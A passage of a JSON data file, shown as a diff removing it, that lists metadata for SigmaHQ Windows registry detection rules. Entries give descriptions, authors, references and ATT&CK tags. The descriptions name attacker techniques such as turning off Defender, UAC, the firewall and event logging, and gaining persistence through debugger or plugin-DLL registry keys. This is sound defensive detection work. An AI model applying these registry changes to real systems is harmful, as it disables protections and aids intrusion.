"2d9403d5-7927-46b7-8216-37ab7c9ec5e3", - "value": "Suspicious Set Value of MSDT in Registry (CVE-2022-30190)" - }, - { - "description": "Detects when an attacker adds a new \"Debugger\" value to the \"DbgManagedDebugger\" key in order to achieve persistence which will get invoked when an application crashes", - "meta": { - "author": "frack113", - "creation_date": "2022/08/07", - "falsepositive": [ - "Legitimate use of the key to setup a debugger. Which is often the case on developers machines" - ], - "filename": "registry_set_dbgmanageddebugger_persistence.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dbgmanageddebugger_persistence.yml", - "https://github.com/last-byte/PersistenceSniper", - "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/" - ], - "tags": [ - "attack.persistence", - "attack.t1574" - ] - }, - "uuid": "9827ae57-3802-418f-994b-d5ecf5cd974b", - "value": "Add Debugger Entry To DbgManagedDebugger For Persistence" - }, - { - "description": "Detects the Setting of Windows Defender Exclusions", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/07/06", - "falsepositive": [ - "Administrator actions" - ], - "filename": "registry_set_defender_exclusions.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_defender_exclusions.yml", - "https://twitter.com/_nullbind/status/1204923340810543109" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "a982fc9c-6333-4ffb-a51d-addb04e8b529", - "value": "Windows Defender Exclusions Added" - }, - { - "description": "Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)", - "meta": { - "author": "Dimitrios Slamaris", - "creation_date": "2017/05/15", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_dhcp_calloutdll.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dhcp_calloutdll.yml", - "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", - "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", - "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002", - "attack.t1112" - ] - }, - "uuid": "9d3436ef-9476-4c43-acca-90ce06bdf33a", - "value": "DHCP Callout DLL Installation" - }, - { - "description": "Detects disabling Windows Defender Exploit Guard Network Protection", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/04", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "bf9e1387-b040-4393-9851-1598f8ecfae9", - "value": "Disable Exploit Guard Network Protection on Windows Defender" - }, - { - "description": "Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/07/04", - "falsepositive": [ - "Other Antivirus software installations could cause Windows to disable that eventlog (unknown)" - ], - "filename": "registry_set_disabled_microsoft_defender_eventlog.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/WhichbufferArda/status/1543900539280293889/photo/2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_microsoft_defender_eventlog.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "fcddca7c-b9c0-4ddf-98da-e1e2d18b0157", - "value": "Disabled Windows Defender Eventlog" - }, - { - "description": "Detects disabling Windows Defender PUA protection", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/04", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_disabled_pua_protection_on_microsoft_defender.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_pua_protection_on_microsoft_defender.yml", - "https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "8ffc5407-52e3-478f-9596-0a7371eafe13", - "value": "Disable PUA Protection on Windows Defender" - }, - { - "description": "Detects disabling Windows Defender Tamper Protection", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/04", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_disabled_tamper_protection_on_microsoft_defender.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_tamper_protection_on_microsoft_defender.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "93d298a1-d28f-47f1-a468-d971e7796679", - "value": "Disable Tamper Protection on Windows Defender" - }, - { - "description": "Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system", - "meta": { - "author": "frack113", - "creation_date": "2022/01/16", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_disable_administrative_share.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_administrative_share.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md#atomic-test-4---disable-administrative-share-creation-at-startup" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.005" - ] - }, - "uuid": "c7dcacd0-cc59-4004-b0a4-1d6cdebe6f3e", - "value": "Disable Administrative Share Creation at Startup" - }, - { - "description": "Detects tampering of autologger trace sessions which is a technique used by attackers to disable logging", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/01", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_disable_autologger_sessions.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/MichalKoczwara/status/1553634816016498688", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_autologger_sessions.yml", - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "f37b4bce-49d0-4087-9f5b-58bffda77316", - "value": "AutoLogger Sessions Tamper" - }, - { - "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage", - "meta": { - "author": "frack113", - "creation_date": "2022/01/09", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_disable_defender_firewall.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_defender_firewall.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-2---disable-microsoft-defender-firewall-via-registry" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ] - }, - "uuid": "974515da-6cc5-4c95-ae65-f97f9150ec7f", - "value": "Disable Microsoft Defender Firewall via Registry" - }, - { - "description": "Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)", - "meta": { - "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/03/18", - "falsepositive": [ - "Legitimate admin script" - ], - "filename": "registry_set_disable_function_user.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_function_user.yml", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "e2482f8d-3443-4237-b906-cc145d87a076", - "value": "Disable Internal Tools or Feature in Registry" - }, - { - "description": "Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/25", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_disable_macroruntimescanscope.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_macroruntimescanscope.yml", - "https://admx.help/?Category=Office2016&Policy=office16.Office.Microsoft.Policies.Windows::L_MacroRuntimeScanScope", - "https://www.microsoft.com/en-us/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/", - "https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "ab871450-37dc-4a3a-997f-6662aa8ae0f1", - "value": "Disable Macro Runtime Scan Scope" - }, - { - "description": "Disable Microsoft Office Security Features by registry", - "meta": { - "author": "frack113", - "creation_date": "2021/06/08", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_disable_microsoft_office_security_features.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_microsoft_office_security_features.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "7c637634-c95d-4bbf-b26c-a82510874b34", - "value": "Disable Microsoft Office Security Features" - }, - { - "description": "Detects registry modifications that disable Privacy Settings Experience", - "meta": { - "author": "frack113", - "creation_date": "2022/10/02", - "falsepositive": [ - "Legitimate admin script" - ], - "filename": "registry_set_disable_privacy_settings_experience.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_privacy_settings_experience.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1562.001/T1562.001.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "0372e1f9-0fd2-40f7-be1b-a7b2b848fa7b", - "value": "Disable Privacy Settings Experience in Registry" - }, - { - "description": "Detect set UseActionCenterExperience to 0 to disable the windows security center notification", - "meta": { - "author": "frack113", - "creation_date": "2022/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_disable_security_center_notifications.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_security_center_notifications.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "3ae1a046-f7db-439d-b7ce-b8b366b81fa6", - "value": "Disable Windows Security Center Notifications" - }, - { - "description": "Detects the modification of the registry to disable a system restore on the computer", - "meta": { - "author": "frack113", - "creation_date": "2022/04/04", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_disable_system_restore.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_system_restore.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "5de03871-5d46-4539-a82d-3aa992a69a83", - "value": "Registry Disable System Restore" - }, - { - "description": "Detects when an attacker tries to disable User Account Control (UAC) by changing its registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA from 1 to 0", - "meta": { - "author": "frack113", - "creation_date": "2022/01/05", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_disable_uac_registry.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-8---disable-uac-using-regexe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_uac_registry.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1548.002" - ] - }, - "uuid": "48437c39-9e5f-47fb-af95-3d663c3f2919", - "value": "Disable UAC Using Registry" - }, - { - "description": "Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry", - "meta": { - "author": "Ján Trenčanský, frack113, AlertIQ, Nasreddine Bencherchali", - "creation_date": "2022/08/01", - "falsepositive": [ - "Administrator actions" - ], - "filename": "registry_set_disable_windows_defender_service.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_defender_service.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "e1aa95de-610a-427d-b9e7-9b46cfafbe6a", - "value": "Windows Defender Service Disabled" - }, - { - "description": "Detect set EnableFirewall to 0 to disable the windows firewall", - "meta": { - "author": "frack113", - "creation_date": "2022/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_disable_windows_firewall.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_firewall.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.004/T1562.004.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ] - }, - "uuid": "e78c408a-e2ea-43cd-b5ea-51975cf358c0", - "value": "Disable Windows Firewall by Registry" - }, - { - "description": "Detects tampering with the \"Enabled\" registry key in order to disable windows logging of a windows event channel", - "meta": { - "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/07/04", - "falsepositive": [ - "Legitimate administrators disabling specific event log for troubleshooting" - ], - "filename": "registry_set_disable_winevt_logging.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_winevt_logging.yml", - "https://twitter.com/WhichbufferArda/status/1543900539280293889", - "https://github.com/DebugPrivilege/CPP/blob/c39d365617dbfbcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ] - }, - "uuid": "2f78da12-f7c7-430b-8b19-a28f269b77a3", - "value": "Disable Winevt Event Logging Via Registry" - }, - { - "description": "Detect set DisallowRun to 1 to prevent user running specific computer program", - "meta": { - "author": "frack113", - "creation_date": "2022/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_disallowrun_execution.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disallowrun_execution.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "275641a5-a492-45e2-a817-7c81e9d9d3e9", - "value": "Add DisallowRun Execution to Registry" - }, - { - "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun.\nThe disk cleanup manager is part of the operating system.\nIt displays the dialog box […] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/21", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_disk_cleanup_handler_autorun_persistence.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disk_cleanup_handler_autorun_persistence.yml", - "https://persistence-info.github.io/Data/diskcleanuphandler.html", - "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "d4e2745c-f0c6-4bde-a3ab-b553b3f693cc", - "value": "Persistence Via Disk Cleanup Handler - Autorun" - }, - { - "description": "Detects when a user enables DNS-over-HTTPS.\nThis can be used to hide internet activity or be used to hide the process of exfiltrating data.\nWith this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.\n", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/07/22", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_set_dns_over_https_enabled.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_over_https_enabled.yml", - "https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode", - "https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html", - "https://admx.help/HKLM/Software/Policies/Mozilla/Firefox/DNSOverHTTPS", - "https://github.com/elastic/detection-rules/issues/1371" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140", - "attack.t1112" - ] - }, - "uuid": "04b45a8a-d11d-49e4-9acc-4a1b524407a5", - "value": "DNS-over-HTTPS Enabled by Registry" - }, - { - "description": "Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required)", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/05/08", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_dns_serverlevelplugindll.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_serverlevelplugindll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002", - "attack.t1112" - ] - }, - "uuid": "e61e8a88-59a9-451c-874e-70fcc9740d67", - "value": "DNS ServerLevelPluginDll Install" - }, - { - "description": "This rule detects cor_enable_profiling and cor_profiler environment variables being set and configured.", - "meta": { - "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research)", - "creation_date": "2020/09/10", - "falsepositive": "No established falsepositives", - "filename": "registry_set_enabling_cor_profiler_env_variables.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_cor_profiler_env_variables.yml", - "https://www.sans.org/cyber-security-summit/archives", - "https://twitter.com/jamieantisocial/status/1304520651248668673", - "https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1574.012" - ] - }, - "uuid": "ad89044a-8f49-4673-9a55-cbd88a1b374f", - "value": "Enabling COR Profiler Environment Variables" - }, - { - "description": "Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability", - "meta": { - "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", - "creation_date": "2022/06/15", - "falsepositive": [ - "Administrator actions" - ], - "filename": "registry_set_enabling_turnoffcheck.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/wdormann/status/1537075968568877057?s=20&t=0lr18OAnmAGoGpma6grLUw", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_turnoffcheck.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "7d995e63-ec83-4aa3-89d5-8a17b5c87c86", - "value": "Scripted Diagnostics Turn Off Check Enabled - Registry" - }, - { - "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/06/05", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_etw_disabled.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", - "https://bunnyinside.com/?term=f71e8cb9c76a", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", - "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://twitter.com/_xpn_/status/1268712093928378368", - "http://managed670.rssing.com/chan-5590147/all_p1.html", - "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_etw_disabled.yml", - "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "bf4fc428-dcc3-4bbd-99fe-2422aeee2544", - "value": "COMPlus_ETWEnabled Registry Modification" - }, - { - "description": "Detects applications being added to the \"allowed applications\" list of exploit guard in order to bypass controlled folder settings", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/05", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_set_exploit_guard_susp_allowed_apps.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_exploit_guard_susp_allowed_apps.yml", - "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "42205c73-75c8-4a63-9db1-e3782e06fda0", - "value": "Suspicious Application Allowed Through Exploit Guard" - }, - { - "description": "Detect change of the user account associated with the FAX service to avoid the escalation problem.", - "meta": { - "author": "frack113", - "creation_date": "2022/07/17", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_fax_change_service_user.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_change_service_user.yml", - "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", - "https://twitter.com/dottor_morte/status/1544652325570191361" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "e3fdf743-f05b-4051-990a-b66919be1743", - "value": "Change User Account Associated with the FAX Service" - }, - { - "description": "Detect possible persistence using Fax DLL load when service restart", - "meta": { - "author": "frack113", - "creation_date": "2022/07/17", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_fax_dll_persistance.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_dll_persistance.yml", - "https://twitter.com/dottor_morte/status/1544652325570191361" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "9e3357ba-09d4-4fbd-a7c5-ad6386314513", - "value": "Change the Fax Dll" - }, - { - "description": "Detects the abuse of the exefile handler in new file association. Used for bypass of security products.", - "meta": { - "author": "Andreas Hunkeler (@Karneades)", - "creation_date": "2021/11/19", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_file_association_exefile.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/mrd0x/status/1461041276514623491", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_file_association_exefile.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "44a22d59-b175-4f13-8c16-cbaef5b581ff", - "value": "New File Association Using Exefile" - }, - { - "description": "Detects persistence using GlobalFlags in image file execution options", - "meta": { - "author": "Karneades, Jonhnathan Ribeiro", - "creation_date": "2018/04/11", - "falsepositive": [ - "Unknown" - ], - "filename": "registry_set_globalflags_persistence.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_globalflags_persistence.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.persistence", - "attack.defense_evasion", - "attack.t1546.012", - "car.2013-01-002" - ] - }, - "uuid": "36803969-5421-41ec-b92f-8500f79c23b0", - "value": "GlobalFlags Registry Persistence Mechanisms" - }, - { - "description": "Detects when an attacker adds a new \"Debugger\" value to the \"Hangs\" key in order to achieve persistence which will get invoked when an application crashes", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/21", - "falsepositive": [ - "This value is not set by default but could be rarly used by administrators" - ], - "filename": "registry_set_hangs_debugger_persistence.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hangs_debugger_persistence.yml", - "https://persistence-info.github.io/Data/wer_debugger.html", - "https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "833ef470-fa01-4631-a79b-6f291c9ac498", - "value": "Add Debugger Entry To Hangs Key For Persistence" - }, - { - "description": "Detects when an attacker modifies the registry value of the \"hhctrl\" to point to a custom binary", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/21", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_set_hhctrl_persistence.yml", - "level": "high", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hhctrl_persistence.yml", - "https://persistence-info.github.io/Data/hhctrl.html", - "https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "f10ed525-97fe-4fed-be7c-2feecca941b1", - "value": "Persistence Via Hhctrl.ocx" - }, - { - "description": "Hides the file extension through modification of the registry", - "meta": { - "author": "frack113", - "creation_date": "2022/01/22", - "falsepositive": [ - "Administrative scripts" - ], - "filename": "registry_set_hidden_extention.yml", - "level": "medium", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanSpy%3aMSIL%2fHakey.A", - "https://unit42.paloaltonetworks.com/ransomware-families/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hidden_extention.yml" - ], - "tags": 